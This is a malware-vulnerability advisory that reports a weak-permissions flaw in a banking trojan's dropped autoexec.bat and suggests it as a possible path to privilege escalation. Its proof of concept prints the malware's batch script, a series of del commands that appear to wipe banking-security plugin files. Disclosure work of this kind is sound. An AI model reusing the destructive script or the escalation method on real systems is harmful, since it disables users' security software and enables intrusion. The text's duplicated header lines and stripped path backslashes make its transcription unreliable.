Original source:
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt
Contact: malvuln13@gmail.com
Media: twitt Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/f15d05f74899324ecb61ee29ad162fad.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Trojan-Banker.Win32.Banker.heq
Vulnerability: Insecure Permissions
Description: The malware writes a BAT script file with insecure permissions
to c drive granting change (C) permissions to the authenticated user group.
Standard users can rename the executable dropped by the malware to disable
it or replace it with their own executable. Then wait for a privileged user
to logon to the infected machine to potentially escalate privileges.
Family: Banker
Type: PE32
MD5: f15d05f74899324ecb61ee29ad162fad
Vuln ID: MVID-2022-0561
Disclosure: 04/26/2022
Exploit/PoC:
C:>cacls autoexec.bat
C:autoexec.bat BUILTINAdministrators:(ID)F
NT AUTHORITYSYSTEM:(ID)F
BUILTINUsers:(ID)R
NT AUTHORITYAuthenticated Users:(ID)C
C:>dir autoexec.bat
Volume in drive C has no label.
Directory of C:
04/13/2022 02:27 AM 636 autoexec.bat
1 File(s) 636 bytes
c:>type autoexec.bat
@echo off
del c:windowsdownlo~1ABN*.*
del c:windowsdownlo~1*ABN*.*
del c:windowsdownlo~1GBPDIST.DLL
del c:windowsdownlo~1scp*.*
del c:windowsdownlo~1gb*.*
del c:windowsdownlo~1*gb*.*
del c:windowsdownlo~1*UNI*.*
del c:windowsdownlo~1UNI*.*??
del c:WINDOWSsystem32Logof.dll
del c:arquiv~1GbPlugingb*.*
del c:arquiv~1GbPluging*.*
del c:windwossystem32snengine.exe
del c:windwossystem32snagos.exe
del c:arquiv~1Scpad*scp*.??
del c:arquiv~1Scpadscp*.*
del c:windowsdownlo~1ATM*.*
del c:windowsdownlo~1*ATM*.*
del c:arquiv~1Scpad*ssh*.*
del c:arquiv~1Scpad*ssh*.?
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